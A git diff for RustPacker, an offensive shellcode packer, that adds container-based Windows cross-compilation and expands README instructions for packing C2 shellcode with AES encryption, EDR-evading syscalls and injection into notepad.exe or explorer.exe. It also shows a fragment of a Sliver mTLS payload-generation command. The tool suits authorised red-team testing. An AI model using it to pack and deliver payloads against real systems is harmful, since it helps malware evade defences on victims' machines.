diff --git a/Dockerfile.builder b/Dockerfile.builder new file mode 100644 index 0000000..cd07d27 --- /dev/null +++ b/Dockerfile.builder @@ -0,0 +1,9 @@ +FROM docker.io/library/rust:latest + +RUN apt-get update \ + && apt-get install -y --no-install-recommends g++-mingw-w64-x86-64 \ + && rm -rf /var/lib/apt/lists/* + +RUN rustup target add x86_64-pc-windows-gnu + +WORKDIR /build diff --git a/README.md b/README.md index 543c188..e9e6313 100644 --- a/README.md +++ b/README.md @@ -15,34 +15,50 @@ RustPacker is a template-based shellcode packer designed for penetration testers - **Syscall Evasion**: Indirect syscalls to bypass EDR/AV detection - **Flexible Output**: Generate both EXE and DLL files - **Sandbox Evasion**: Domain pinning to prevent detonation in analysis environments -- **Cross-Platform Build**: Works on any OS with Docker/Podman support +- **Cross-Platform Build**: Works on Linux, Windows, and macOS with Podman or Docker - **Framework Compatible**: Works with Metasploit, Sliver, and custom shellcode ## 🚀 Quick Start -### Using Docker/Podman (Recommended) +### Prerequisites + +You need **one** of the following container runtimes installed: + +| Platform | Podman (Recommended) | Docker | +|----------|---------------------|--------| +| **Linux** | `sudo dnf install podman` or `sudo apt install podman` | [Install Docker Engine](https://docs.docker.com/engine/install/) | +| **Windows** | [Podman Desktop](https://podman-desktop.io/) | [Docker Desktop](https://www.docker.com/products/docker-desktop/) | +| **macOS** | `brew install podman && podman machine init && podman machine start` | [Docker Desktop](https://www.docker.com/products/docker-desktop/) | + +### Full Container Mode (Recommended) + +No Rust toolchain needed — everything runs inside the container: ```bash -# Clone the repository +# Clone and build the all-in-one container git clone https://github.com/Nariod/RustPacker.git cd RustPacker/ -# Build the container (recommended: use Podman for security) podman build -t rustpacker -f Dockerfile +``` -# Place your shellcode file in the shared folder -cp your_shellcode.raw shared/ +Place your shellcode in the `shared/` folder and run: -# Pack your shellcode +```bash +# Linux / macOS podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker \ - -f shared/your_shellcode.raw \ - -i ntcrt \ - -e aes \ - -b exe \ - -t notepad.exe + -f shared/your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exe + +# Windows (PowerShell) +podman run --rm -v ${PWD}/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker ` + -f shared/your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exe + +# Windows (cmd.exe) +podman run --rm -v %cd%/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker ^ + -f shared/your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exe ``` -The compiled binary is located in `shared/output_/target/x86_64-pc-windows-gnu/release/` with a randomized filename. The exact path is printed at the end of the output: +The compiled binary is located in `shared/output_/target/x86_64-pc-windows-gnu/release/` with a randomized filename: ``` [+] Source binary has been renamed to: "shared/output_1234567890/target/x86_64-pc-windows-gnu/release/AbCdEfGh.exe" @@ -50,13 +66,89 @@ The compiled binary is located in `shared/output_/target/x86_64-pc-wi ### Create an Alias for Convenience +**Linux / macOS (bash/zsh):** ```bash alias rustpacker='podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker' -# Now you can use it simply: rustpacker -f shared/payload.raw -i syscrt -e aes -b exe -t explorer.exe ``` +**Windows (PowerShell):** +```powershell +function rustpacker { podman run --rm -v "${PWD}/shared:/usr/src/RustPacker/shared:z" rustpacker RustPacker @args } + +rustpacker -f shared\payload.raw -i syscrt -e aes -b exe -t explorer.exe +``` + +### Alternative: Native Mode (Rust toolchain required) + +If you already have Rust installed, you can run RustPacker directly. It will **automatically detect** Podman or Docker and use a container for cross-compilation: + +```bash +git clone https://github.com/Nariod/RustPacker.git +cd RustPacker/ +cargo build --release + +# Linux / macOS +cargo run -- -f shared/your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exe + +# Windows (PowerShell) +cargo run -- -f shared\your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exe +``` + +The first run builds the `rustpacker-builder` image (once only). Subsequent runs reuse the cached image and a shared cargo registry volume for fast builds. + +## 🖥️ Windows Setup Guide + +### Step 1: Install a Container Runtime + +**Option A — Podman Desktop (Recommended):** +1. Download and install [Podman Desktop](https://podman-desktop.io/) +2. Launch Podman Desktop and follow the guided setup to initialize a Podman machine +3. Verify installation: `podman --version` + +**Option B — Docker Desktop:** +1. Download and install [Docker Desktop](https://www.docker.com/products/docker-desktop/) +2. Enable WSL 2 backend during installation (recommended) +3. Verify installation: `docker --version` + +### Step 2: Clone the Repository + +```powershell +git clone https://github.com/Nariod/RustPacker.git +cd RustPacker +``` + +### Step 3: Build the Container Image + +```powershell +podman build -t rustpacker -f Dockerfile +``` + +### Step 4: Generate and Pack Shellcode + +```powershell +# Place your shellcode in the shared folder +copy C:\path\to\payload.raw shared\ + +# Pack with AES encryption and remote thread injection (PowerShell) +podman run --rm -v ${PWD}/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker ` + -f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exe + +# Pack with AES encryption and remote thread injection (cmd.exe) +podman run --rm -v %cd%/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker ^ + -f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exe +``` + +### Troubleshooting (Windows) + +| Issue | Solution | +|-------|----------| +| `podman: command not found` | Ensure Podman Desktop is running and `podman` is in your PATH | +| `docker: command not found` | Ensure Docker Desktop is running | +| Container build fails | Check that your container runtime's VM/WSL is started | +| Permission errors on volume mounts | Run your terminal as Administrator, or check Docker Desktop file sharing settings | + ## 📖 Command Line Options ``` @@ -94,6 +186,8 @@ generate --mtls 192.168.1.100:443 --format shellcode --os windows --evasion ### Packing Examples +> The examples below use the `rustpacker` alias defined in the Quick Start section. Replace it with the full `podman run ...` command if you haven't set up the alias. + **Basic EXE with AES encryption (remote injection into notepad):** ```bash rustpacker -f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exe @@ -163,7 +257,18 @@ RustPacker implements several evasion techniques: > ⚠️ **Breaking Change**: Since RWX (PAGE_EXECUTE_READWRITE) is no longer used, **self-modifying / dynamic shellcode is not supported**. Only static shellcode payloads are compatible. Most C2 frameworks (Metasploit, Sliver, Cobalt Strike, Havoc) generate static shellcode by default — this should not affect typical usage. -## ⚙️ Local Installation +## ⚙️ How It Works + +RustPacker uses a two-stage approach: + +1. **Assembly (runs on your host):** Reads your shellcode, encrypts it, and generates a complete Rust project from the selected template with all placeholders filled in. +2. **Compilation (runs in a container):** Automatically detects Podman or Docker and cross-compiles the generated project to a Windows PE binary inside a Linux container with mingw. Falls back to local `cargo build` if no container runtime is available. + +This means you can work from **any OS** — the heavy lifting (cross-compilation with mingw) always happens inside a reproducible Linux container. + +## ⚙️ Local Installation (Without Containers) + +If you prefer to compile without containers (Linux only): ### Prerequisites @@ -186,6 +291,8 @@ cd RustPacker/ cargo run -- -f shared/payload.raw -i ntcrt -e xor -b exe -t explorer.exe ``` +> When no container runtime is detected, RustPacker falls back to local compilation automatically. + ## 🐳 Why Podman over Docker? We recommend using Podman instead of Docker for [security reasons](https://cloudnweb.dev/2019/10/heres-why-podman-is-more-secured-than-docker-devsecops/): @@ -211,6 +318,7 @@ Contributions are welcome! Here's how you can help: - [x] Docker containerization - [x] Domain pinning, thanks to [m4r1u5-p0p](https://github.com/m4r1u5-p0p) ! - [x] Indirect syscalls for fiber templates +- [x] Cross-platform support (Linux, Windows, macOS) - [ ] String encryption (litcrypt) - [ ] Binary signing support - [ ] Mutex/Semaphore support diff --git a/src/compiler.rs b/src/compiler.rs index 59c84c0..257d1b6 100644 --- a/src/compiler.rs +++ b/src/compiler.rs @@ -1,22 +1,122 @@ -use std::env::set_current_dir; use std::path::Path; -use std::process::Command; +use std::process::{Command, Stdio}; +use std::{env, fs}; -fn run_compiler(path_to_cargo_folder: &Path) -> Result<(), Box> { - set_current_dir(path_to_cargo_folder)?; +use crate::tools::absolute_path; + +const BUILDER_IMAGE: &str = "rustpacker-builder"; +const BUILDER_DOCKERFILE: &str = include_str!("../Dockerfile.builder"); +const BUILD_TARGET: &str = "x86_64-pc-windows-gnu"; + +fn is_running_in_container() -> bool { + Path::new("/.dockerenv").exists() + || Path::new("/run/.containerenv").exists() + || env::var("CONTAINER").is_ok() +} + +fn find_container_runtime() -> Option<&'static str> { + ["podman", "docker"].into_iter().find(|cmd| { + Command::new(cmd) + .arg("--version") + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .status() + .map(|s| s.success()) + .unwrap_or(false) + }) +} + +fn image_exists(runtime: &str) -> bool { + Command::new(runtime) + .args(["image", "inspect", BUILDER_IMAGE]) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .status() + .map(|s| s.success()) + .unwrap_or(false) +} + +fn build_builder_image(runtime: &str) -> Result<(), Box> { + println!("[+] Building {} image (first run only)...", BUILDER_IMAGE); + + let temp_dir = env::temp_dir().join("rustpacker-builder"); + fs::create_dir_all(&temp_dir)?; + let dockerfile = temp_dir.join("Dockerfile"); + fs::write(&dockerfile, BUILDER_DOCKERFILE)?; + + let output = Command::new(runtime) + .args(["build", "-t", BUILDER_IMAGE, "-f"]) + .arg(&dockerfile) + .arg(&temp_dir) + .output()?; + + fs::remove_dir_all(&temp_dir).ok(); + + if !output.status.success() { + let err = String::from_utf8_lossy(&output.stderr); + return Err(format!("Failed to build {}: {}", BUILDER_IMAGE, err).into()); + } + + Ok(()) +} + +fn ensure_builder_image(runtime: &str) -> Result<(), Box> { + if !image_exists(runtime) { + build_builder_image(runtime)?; + } + Ok(()) +} + +fn compile_in_container( + runtime: &str, + path_to_cargo_folder: &Path, +) -> Result<(), Box> { + ensure_builder_image(runtime)?; + + let abs_path = absolute_path(path_to_cargo_folder)?; + let mount = format!("{}:/build:z", abs_path.display()); + let cache_mount = "rustpacker-cargo-cache:/usr/local/cargo/registry:z"; + + let output = Command::new(runtime) + .args(["run", "--rm"]) + .args(["-v", &mount]) + .args(["-v", cache_mount]) + .args(["-e", "CFLAGS=-lrt"]) + .args(["-e", "LDFLAGS=-lrt"]) + .args(["-e", "RUSTFLAGS=-C target-feature=+crt-static"]) + .arg(BUILDER_IMAGE) + .args(["cargo", "build", "--release", "--target", BUILD_TARGET]) + .output()?; + + if !output.status.success() { + let err = String::from_utf8_lossy(&output.stderr); + eprintln!("{}", err); + return Err(format!("Container compilation failed: {}", output.status).into()); + } + + if !output.stderr.is_empty() { + let warnings = String::from_utf8_lossy(&output.stderr); + println!("{}", warnings); + } + + Ok(()) +} + +fn compile_locally(path_to_cargo_folder: &Path) -> Result<(), Box> { + let manifest = path_to_cargo_folder.join("Cargo.toml"); let output = Command::new("cargo") .env("CFLAGS", "-lrt") .env("LDFLAGS", "-lrt") .env("RUSTFLAGS", "-C target-feature=+crt-static") - .arg("build") - .arg("--release") - .args(["--target", "x86_64-pc-windows-gnu"]) + .args(["build", "--release", "--manifest-path"]) + .arg(&manifest) + .args(["--target", BUILD_TARGET]) .output()?; if !output.status.success() { - let error_message = String::from_utf8_lossy(&output.stderr); - eprintln!("{}", error_message); - return Err(format!("Compilation failed with status: {}", output.status).into()); + let err = String::from_utf8_lossy(&output.stderr); + eprintln!("{}", err); + return Err(format!("Compilation failed: {}", output.status).into()); } if !output.stderr.is_empty() { @@ -27,6 +127,20 @@ fn run_compiler(path_to_cargo_folder: &Path) -> Result<(), Box Result<(), Box> { + if is_running_in_container() { + return compile_locally(path_to_cargo_folder); + } + + if let Some(runtime) = find_container_runtime() { + println!("[+] Using {} for cross-compilation", runtime); + return compile_in_container(runtime, path_to_cargo_folder); + } + + println!("[!] No container runtime found, falling back to local compilation"); + compile_locally(path_to_cargo_folder) +} + pub fn compile(path_to_cargo_folder: &Path) { println!("[+] Starting to compile your malware.."); run_compiler(path_to_cargo_folder).unwrap_or_else(|err| { diff --git a/src/main.rs b/src/main.rs index f8c2661..df573f8 100644 --- a/src/main.rs +++ b/src/main.rs @@ -8,18 +8,13 @@ mod uuid_enc; mod xor; mod sandbox; -use std::env; use std::io; fn main() -> io::Result<()> { - let current_dir = env::current_dir()?; - let order = arg_parser::parse_args(); let output_folder_path = puzzle::assemble(order.clone()); compiler::compile(&output_folder_path); - env::set_current_dir(current_dir)?; - tools::process_output(&order, &output_folder_path)?; tools::rename_source_binary(&order, &output_folder_path)?; diff --git a/src/puzzle.rs b/src/puzzle.rs index 27d0902..ec7ee07 100644 --- a/src/puzzle.rs +++ b/src/puzzle.rs @@ -1,9 +1,7 @@ use crate::aes::encrypt_aes; use crate::arg_parser::{Encryption, Execution, Format, Order}; use crate::sandbox::build_sandbox; -use crate::tools::{ - absolute_path, quoted_path, random_aes_iv, random_aes_key, random_u8, EncryptionOutput, -}; +use crate::tools::{random_aes_iv, random_aes_key, random_u8, EncryptionOutput}; use crate::uuid_enc::encrypt_uuid; use crate::xor::encrypt_xor; use fs_extra::dir::{copy, CopyOptions}; @@ -80,58 +78,45 @@ fn template_path_for_execution(execution: &Execution) -> &'static Path { } } -fn build_encrypted_output( - order: &Order, - src_dir: &Path, -) -> (EncryptionOutput, String) { - match order.encryption { - Encryption::Xor => { - let path = src_dir.join("input.xor"); - let abs = absolute_path(&path).expect("Invalid XOR output path"); - let output = encrypt_xor(&order.shellcode_path, &path, random_u8()); - (output, quoted_path(&abs)) - } +fn encrypted_filename(encryption: &Encryption) -> &'static str { + match encryption { + Encryption::Xor => "input.xor", + Encryption::Aes => "input.aes", + Encryption::Uuid => "input.uuid", + } +} + +fn build_encrypted_output(order: &Order, src_dir: &Path) -> (EncryptionOutput, String) { + let filename = encrypted_filename(&order.encryption); + let path = src_dir.join(filename); + let include_path = format!("\"{}\"", filename); + + let output = match order.encryption { + Encryption::Xor => encrypt_xor(&order.shellcode_path, &path, random_u8()), Encryption::Aes => { - let path = src_dir.join("input.aes"); - let abs = absolute_path(&path).expect("Invalid AES output path"); - let output = encrypt_aes(&order.shellcode_path, &path, &random_aes_key(), &random_aes_iv()); - (output, quoted_path(&abs)) - } - Encryption::Uuid => { - let path = src_dir.join("input.uuid"); - let abs = absolute_path(&path).expect("Invalid UUID output path"); - let output = encrypt_uuid(&order.shellcode_path, &path); - (output, quoted_path(&abs)) + encrypt_aes(&order.shellcode_path, &path, &random_aes_key(), &random_aes_iv()) } - } + Encryption::Uuid => encrypt_uuid(&order.shellcode_path, &path), + }; + + (output, include_path) } fn build_replacements(order: &Order, src_dir: &Path) -> HashMap<&'static str, String> { - let shellcode_abs = absolute_path(&order.shellcode_path).expect("Invalid shellcode path"); + let (enc_output, include_path) = build_encrypted_output(order, src_dir); let mut replacements: HashMap<&'static str, String> = HashMap::new(); - replacements.insert("{{DEPENDENCIES}}", String::new()); - replacements.insert("{{IMPORTS}}", String::new()); - replacements.insert("{{DECRYPTION_FUNCTION}}", String::new()); - replacements.insert("{{MAIN}}", String::new()); - replacements.insert("{{PATH_TO_SHELLCODE}}", quoted_path(&shellcode_abs)); + replacements.insert("{{PATH_TO_SHELLCODE}}", include_path); + replacements.insert("{{DECRYPTION_FUNCTION}}", enc_output.decryption_function); + replacements.insert("{{MAIN}}", enc_output.main); + replacements.insert("{{DEPENDENCIES}}", enc_output.dependencies.unwrap_or_default()); + replacements.insert("{{IMPORTS}}", enc_output.imports.unwrap_or_default()); replacements.insert("{{DLL_MAIN}}", String::new()); replacements.insert("{{DLL_FORMAT}}", String::new()); replacements.insert("{{TARGET_PROCESS}}", order.target_process.clone()); replacements.insert("{{SANDBOX}}", String::new()); replacements.insert("{{SANDBOX_IMPORTS}}", String::new()); - let (enc_output, shellcode_path_str) = build_encrypted_output(order, src_dir); - replacements.insert("{{DECRYPTION_FUNCTION}}", enc_output.decryption_function); - replacements.insert("{{MAIN}}", enc_output.main); - replacements.insert("{{PATH_TO_SHELLCODE}}", shellcode_path_str); - if let Some(deps) = enc_output.dependencies { - replacements.insert("{{DEPENDENCIES}}", deps); - } - if let Some(imports) = enc_output.imports { - replacements.insert("{{IMPORTS}}", imports); - } - if let Some(ref domain) = order.sandbox { let sandbox_output = build_sandbox(domain); replacements.insert("{{SANDBOX}}", sandbox_output.sandbox_function); diff --git a/src/tools.rs b/src/tools.rs index be94314..6808b12 100644 --- a/src/tools.rs +++ b/src/tools.rs @@ -44,10 +44,6 @@ pub fn write_to_file(content: &[u8], path: &Path) -> Result<(), Box String { - format!("{:?}", &input) -} - pub fn random_u8() -> u8 { rand::random() } @@ -141,13 +137,6 @@ mod tests { fs::remove_dir_all(&dir).unwrap(); } - #[test] - fn test_quoted_path_contains_path() { - let path = Path::new("/tmp/test/shellcode.bin"); - let result = quoted_path(path); - assert!(result.contains("shellcode.bin")); - } - #[test] fn test_absolute_path_already_absolute() { let path = Path::new("/tmp/test");